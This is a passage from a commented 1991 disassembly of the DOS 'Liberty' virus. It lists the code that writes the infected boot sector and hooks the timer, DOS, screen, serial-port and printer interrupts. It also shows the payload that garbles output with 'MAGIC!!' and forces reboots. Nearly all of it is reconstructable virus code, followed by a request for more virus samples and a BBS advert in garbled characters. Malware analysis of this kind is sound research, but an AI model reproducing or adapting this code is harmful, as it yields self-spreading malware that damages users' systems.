CS:0883 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0887 7285 JB 080E
CS:0889 B80803 MOV AX,0308 ;
CS:088C BB1001 MOV BX,0110 ;
CS:088F B93128 MOV CX,2831 ;
CS:0892 9C PUSHF ;
CS:0893 2E CS: ;
CS:0894 FF1E1608 CALL FAR [0816] ; Write Liberty bootsector
CS:0898 E973FF JMP 080E
CS:089B 9C PUSHF
CS:089C 50 PUSH AX
CS:089D 1E PUSH DS
CS:089E 33C0 XOR AX,AX
CS:08A0 8ED8 MOV DS,AX
CS:08A2 833E860000 CMP WORD PTR [0086],+00 ;
CS:08A7 750F JNZ 08B8 ; Check if DOS is installed
CS:08A9 833E840000 CMP WORD PTR [0084],+00 ;
CS:08AE 7508 JNZ 08B8
CS:08B0 1F POP DS
CS:08B1 58 POP AX
CS:08B2 9D POPF
CS:08B3 EA00000000 JMP 0000:0000
CS:08B8 06 PUSH ES
CS:08B9 0E PUSH CS
CS:08BA 07 POP ES
CS:08BB E8C3F9 CALL 0281 ; Get vector 21h
CS:08BE E8F1F9 CALL 02B2 ; Set vector 21h
CS:08C1 E82000 CALL 08E4 ; Disconnect vector 8h
CS:08C4 E8FBF9 CALL 02C2 ; Set installation flag
CS:08C7 07 POP ES
CS:08C8 EBE6 JMP 08B0
;
; Revectoring
;
CS:08CA A12000 MOV AX,[0020]
CS:08CD 2E CS:
CS:08CE A3B408 MOV [08B4],AX
CS:08D1 A12200 MOV AX,[0022]
CS:08D4 2E CS:
CS:08D5 A3B608 MOV [08B6],AX
CS:08D8 B89B08 MOV AX,089B
CS:08DB FA CLI
CS:08DC A32000 MOV [0020],AX
CS:08DF 8C0E2200 MOV [0022],CS
CS:08E3 C3 RET
CS:08E4 33C0 XOR AX,AX
CS:08E6 8ED8 MOV DS,AX
CS:08E8 FA CLI
CS:08E9 2E CS:
CS:08EA A1B408 MOV AX,[08B4]
CS:08ED A32000 MOV [0020],AX
CS:08F0 2E CS:
CS:08F1 A1B608 MOV AX,[08B6]
CS:08F4 A32200 MOV [0022],AX
CS:08F7 C3 RET
CS:08F8 A17000 MOV AX,[0070]
CS:08FB 2E CS:
CS:08FC A3900A MOV [0A90],AX
CS:08FF A17200 MOV AX,[0072]
CS:0902 2E CS:
CS:0903 A3920A MOV [0A92],AX
CS:0906 B8580A MOV AX,0A58
CS:0909 FA CLI
CS:090A A37000 MOV [0070],AX
CS:090D 8C0E7200 MOV [0072],CS
CS:0911 C3 RET
;
; The next routine displays 'M A G I C ! !' on the screen for a second
;
CS:0912 50 PUSH AX
CS:0913 53 PUSH BX
CS:0914 51 PUSH CX
CS:0915 52 PUSH DX
CS:0916 56 PUSH SI
CS:0917 57 PUSH DI
CS:0918 1E PUSH DS
CS:0919 06 PUSH ES
CS:091A 9C PUSHF
CS:091B BB00B8 MOV BX,B800 ;
CS:091E 8EDB MOV DS,BX ;
CS:0920 0E PUSH CS ;
CS:0921 07 POP ES ;
CS:0922 33F6 XOR SI,SI ;
CS:0924 BF6809 MOV DI,0968 ;
CS:0927 B9A000 MOV CX,00A0 ;
CS:092A F3 REPZ ;
CS:092B A4 MOVSB ; Save screen
CS:092C BB00B8 MOV BX,B800 ;
CS:092F 8EC3 MOV ES,BX ;
CS:0931 0E PUSH CS ;
CS:0932 1F POP DS ;
CS:0933 33FF XOR DI,DI ;
CS:0935 BB080A MOV BX,0A08 ;
CS:0938 B95000 MOV CX,0050 ;
CS:093B B6CE MOV DH,CE ;
CS:093D 8A17 MOV DL,[BX] ;
CS:093F 80EA03 SUB DL,03 ;
CS:0942 26 ES: ;
CS:0943 8915 MOV [DI],DX ;
CS:0945 47 INC DI ;
CS:0946 47 INC DI ;
CS:0947 43 INC BX ;
CS:0948 E2F3 LOOP 093D ; Put text on screen
CS:094A E2FE LOOP 094A ; Wait
CS:094C BB00B8 MOV BX,B800 ;
CS:094F 8EC3 MOV ES,BX ;
CS:0951 0E PUSH CS ;
CS:0952 1F POP DS ;
CS:0953 33FF XOR DI,DI ;
CS:0955 BE6809 MOV SI,0968 ;
CS:0958 B9A000 MOV CX,00A0 ;
CS:095B F3 REPZ ;
CS:095C A4 MOVSB ; Restore screen
CS:095D 9D POPF
CS:095E 07 POP ES
CS:095F 1F POP DS
CS:0960 5F POP DI
CS:0961 5E POP SI
CS:0962 5A POP DX
CS:0963 59 POP CX
CS:0964 5B POP BX
CS:0965 58 POP AX
CS:0966 C3 RET
;
; A temporary screen buffer
;
DS:0960 4D 41 47 49 43 4D 41 47
DS:0970 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:0980 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:0990 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09A0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:09B0 47 49 43 4D 41 47 49 43-4D 41 47 49 43 4D 41 47
DS:09C0 49 43 4D 41 47 49 43 4D-41 47 49 43 4D 41 47 49
DS:09D0 43 4D 41 47 49 43 4D 41-47 49 43 4D 41 47 49 43
DS:09E0 4D 41 47 49 43 4D 41 47-49 43 4D 41 47 49 43 4D
DS:09F0 41 47 49 43 4D 41 47 49-43 4D 41 47 49 43 4D 41
DS:0A00 47 49 43 4D 41 47 49 43
;
; The encrypted text 'M A G I C ! !'
;
DS:0A00 23 23 23 23 23 23 23 23
DS:0A10 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A20 23 23 23 23 23 23 23 23-23 23 23 23 23 23 23 23
DS:0A30 23 23 23 23 23 23 23 23-23 23 50 23 44 23 4A 23
DS:0A40 4C 23 46 23 23 24 23 24-23 24 23 23 23 23 23 23
DS:0A50 23 23 23 23 23 23 23 23
;
; The next routine is the timer routine. It activates all the gadgets.
;
CS:0A58 9C PUSHF
CS:0A59 50 PUSH AX
CS:0A5A 1E PUSH DS
CS:0A5B 2E CS:
CS:0A5C FF06940A INC WORD PTR [0A94]
CS:0A60 2E CS:
CS:0A61 833E960A0B CMP WORD PTR [0A96],+0B ; Time for a reboot ?
CS:0A66 7433 JZ 0A9B
CS:0A68 2E CS:
CS:0A69 A1980A MOV AX,[0A98]
CS:0A6C 2E CS:
CS:0A6D 3906940A CMP [0A94],AX ; Time for gadgets on ?
CS:0A71 7430 JZ 0AA3
CS:0A73 7217 JB 0A8C
CS:0A75 050002 ADD AX,0200
CS:0A78 2E CS:
CS:0A79 3906940A CMP [0A94],AX ; Time for gadgets off ?
CS:0A7D 7446 JZ 0AC5
CS:0A7F 770B JA 0A8C
CS:0A81 2E CS:
CS:0A82 833E960A0A CMP WORD PTR [0A96],+0A ; Time for screen messing ?
CS:0A87 7503 JNZ 0A8C
CS:0A89 E886FE CALL 0912 ; Mess up screen
CS:0A8C 1F POP DS
CS:0A8D 58 POP AX
CS:0A8E 9D POPF
CS:0A8F EA00000000 JMP 0000:0000 ; Continue
CS:0A9B B8FFFF MOV AX,FFFF
CS:0A9E 50 PUSH AX
CS:0A9F 33C0 XOR AX,AX
CS:0AA1 50 PUSH AX
CS:0AA2 CB RETF
CS:0AA3 2E CS:
CS:0AA4 812E980A5001 SUB WORD PTR [0A98],0150
CS:0AAA 33C0 XOR AX,AX
CS:0AAC 8ED8 MOV DS,AX
CS:0AAE 2E CS:
CS:0AAF C606470B00 MOV BYTE PTR [0B47],00
CS:0AB4 90 NOP
CS:0AB5 2E CS:
CS:0AB6 C606950B00 MOV BYTE PTR [0B95],00
CS:0ABB 90 NOP
CS:0ABC 2E CS:
CS:0ABD C606080C00 MOV BYTE PTR [0C08],00
CS:0AC2 90 NOP
CS:0AC3 EBC7 JMP 0A8C
CS:0AC5 2E CS:
CS:0AC6 C606470BFF MOV BYTE PTR [0B47],FF
CS:0ACB 90 NOP
CS:0ACC 2E CS:
CS:0ACD C606950BFF MOV BYTE PTR [0B95],FF
CS:0AD2 90 NOP
CS:0AD3 2E CS:
CS:0AD4 C606080CFF MOV BYTE PTR [0C08],FF
CS:0AD9 90 NOP
CS:0ADA 2E CS:
CS:0ADB C706940A0000 MOV WORD PTR [0A94],0000
CS:0AE1 2E CS:
CS:0AE2 FF06960A INC WORD PTR [0A96]
CS:0AE6 EBA4 JMP 0A8C
CS:0AE8 A14000 MOV AX,[0040]
CS:0AEB 2E CS:
CS:0AEC A3430B MOV [0B43],AX
CS:0AEF A14200 MOV AX,[0042]
CS:0AF2 2E CS:
CS:0AF3 A3450B MOV [0B45],AX
CS:0AF6 B8360B MOV AX,0B36
CS:0AF9 FA CLI
CS:0AFA A34000 MOV [0040],AX
CS:0AFD 8C0E4200 MOV [0042],CS
CS:0B01 C3 RET
CS:0B02 FA CLI
CS:0B03 A15000 MOV AX,[0050]
CS:0B06 2E CS:
CS:0B07 A3910B MOV [0B91],AX
CS:0B0A A15200 MOV AX,[0052]
CS:0B0D 2E CS:
CS:0B0E A3930B MOV [0B93],AX
CS:0B11 B8840B MOV AX,0B84
CS:0B14 A35000 MOV [0050],AX
CS:0B17 8C0E5200 MOV [0052],CS
CS:0B1B C3 RET
CS:0B1C FA CLI
CS:0B1D A15C00 MOV AX,[005C]
CS:0B20 2E CS:
CS:0B21 A3040C MOV [0C04],AX
CS:0B24 A15E00 MOV AX,[005E]
CS:0B27 2E CS:
CS:0B28 A3060C MOV [0C06],AX
CS:0B2B B8FC0B MOV AX,0BFC
CS:0B2E A35C00 MOV [005C],AX
CS:0B31 8C0E5E00 MOV [005E],CS
CS:0B35 C3 RET
;
; Now the gadgets' routines. When activated, only the word MAGIC!! will be
; sent to screen, port, and printer.
;
CS:0B36 9C PUSHF ; Screen
CS:0B37 80FC09 CMP AH,09
CS:0B3A 740F JZ 0B4B
CS:0B3C 80FC0A CMP AH,0A
CS:0B3F 740A JZ 0B4B
CS:0B41 9D POPF
CS:0B42 EA00000000 JMP 0000:0000
CS:0B4B 2E CS:
CS:0B4C 803E470BFF CMP BYTE PTR [0B47],FF
CS:0B51 74EE JZ 0B41
CS:0B53 53 PUSH BX
CS:0B54 56 PUSH SI
CS:0B55 50 PUSH AX
CS:0B56 33DB XOR BX,BX
CS:0B58 2E CS:
CS:0B59 833E480B07 CMP WORD PTR [0B48],+07
CS:0B5E 7507 JNZ 0B67
CS:0B60 2E CS:
CS:0B61 C706480B0000 MOV WORD PTR [0B48],0000
CS:0B67 2E CS:
CS:0B68 8B1E480B MOV BX,[0B48]
CS:0B6C 2E CS:
CS:0B6D 8B3E480B MOV DI,[0B48]
CS:0B71 47 INC DI
CS:0B72 2E CS:
CS:0B73 893E480B MOV [0B48],DI
CS:0B77 BE3B0C MOV SI,0C3B
CS:0B7A 58 POP AX
CS:0B7B 2E CS:
CS:0B7C 8A00 MOV AL,[BX+SI]
CS:0B7E FEC0 INC AL
CS:0B80 5E POP SI
CS:0B81 5B POP BX
CS:0B82 EBBD JMP 0B41
CS:0B84 9C PUSHF ; Port
CS:0B85 80FC01 CMP AH,01
CS:0B88 740D JZ 0B97
CS:0B8A 80FC02 CMP AH,02
CS:0B8D 7436 JZ 0BC5
CS:0B8F 9D POPF
CS:0B90 EA00000000 JMP 0000:0000
CS:0B97 2E CS:
CS:0B98 803E950BFF CMP BYTE PTR [0B95],FF
CS:0B9D 74F0 JZ 0B8F
CS:0B9F 53 PUSH BX
CS:0BA0 56 PUSH SI
CS:0BA1 33DB XOR BX,BX
CS:0BA3 2E CS:
CS:0BA4 8A1E960B MOV BL,[0B96]
CS:0BA8 BE3B0C MOV SI,0C3B
CS:0BAB 2E CS:
CS:0BAC 8A00 MOV AL,[BX+SI]
CS:0BAE 2E CS:
CS:0BAF FE06960B INC BYTE PTR [0B96]
CS:0BB3 2E CS:
CS:0BB4 803E960B07 CMP BYTE PTR [0B96],07
CS:0BB9 7506 JNZ 0BC1
CS:0BBB 2E CS:
CS:0BBC C606960B00 MOV BYTE PTR [0B96],00
CS:0BC1 5E POP SI
CS:0BC2 5B POP BX
CS:0BC3 EBCA JMP 0B8F
CS:0BC5 2E CS:
CS:0BC6 803E950BFF CMP BYTE PTR [0B95],FF
CS:0BCB 74C2 JZ 0B8F
CS:0BCD 2E CS:
CS:0BCE FF1E910B CALL FAR [0B91]
CS:0BD2 80FC00 CMP AH,00
CS:0BD5 7F24 JG 0BFB
CS:0BD7 53 PUSH BX
CS:0BD8 56 PUSH SI
CS:0BD9 33DB XOR BX,BX
CS:0BDB 2E CS:
CS:0BDC 8A1E960B MOV BL,[0B96]
CS:0BE0 BE3B0C MOV SI,0C3B
CS:0BE3 2E CS:
CS:0BE4 8A00 MOV AL,[BX+SI]
CS:0BE6 2E CS:
CS:0BE7 FE06960B INC BYTE PTR [0B96]
CS:0BEB 2E CS:
CS:0BEC 803E960B07 CMP BYTE PTR [0B96],07
CS:0BF1 7506 JNZ 0BF9
CS:0BF3 2E CS:
CS:0BF4 C606960B00 MOV BYTE PTR [0B96],00
CS:0BF9 5E POP SI
CS:0BFA 5B POP BX
CS:0BFB CF IRET
CS:0BFC 9C PUSHF ; Printer
CS:0BFD 80FC00 CMP AH,00
CS:0C00 7407 JZ 0C09
CS:0C02 9D POPF
CS:0C03 EA00000000 JMP 0000:0000
CS:0C09 2E CS:
CS:0C0A 803E080CFF CMP BYTE PTR [0C08],FF
CS:0C0F 74F1 JZ 0C02
CS:0C11 53 PUSH BX
CS:0C12 56 PUSH SI
CS:0C13 33DB XOR BX,BX
CS:0C15 2E CS:
CS:0C16 8A1E3A0C MOV BL,[0C3A]
CS:0C1A BE3B0C MOV SI,0C3B
CS:0C1D 2E CS:
CS:0C1E 8A00 MOV AL,[BX+SI]
CS:0C20 FEC0 INC AL
CS:0C22 2E CS:
CS:0C23 FE063A0C INC BYTE PTR [0C3A]
CS:0C27 2E CS:
CS:0C28 803E3A0C07 CMP BYTE PTR [0C3A],07
CS:0C2D 7507 JNZ 0C36
CS:0C2F 2E CS:
CS:0C30 C6063A0C00 MOV BYTE PTR [0C3A],00
CS:0C35 90 NOP
CS:0C36 5E POP SI
CS:0C37 5B POP BX
CS:0C38 EBC8 JMP 0C02
;
; The encrypted text 'MAGIC!!'
;
DS:0C3A 4C 40 46 48 42 20 20
;
; Important note:
; When there is no longer space on the disk to infect a file, the Liberty
; virus will infect the bootsector. This is done in the 'OHIO' way.
;
;
;
; End of Liberty (2867) disassembly. (c) 1991 by Remco van Helvoort.
; This document may be freely shared. If you have any comments or some
; nice little viruses for analysis, feel free to drop me a note.
;
; Remco van Helvoort
; Bredastraat 3
; 5224 VD 's-Hertogenbosch
; Holland
;

; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Reference in New Issue View Git Blame Copy Permalink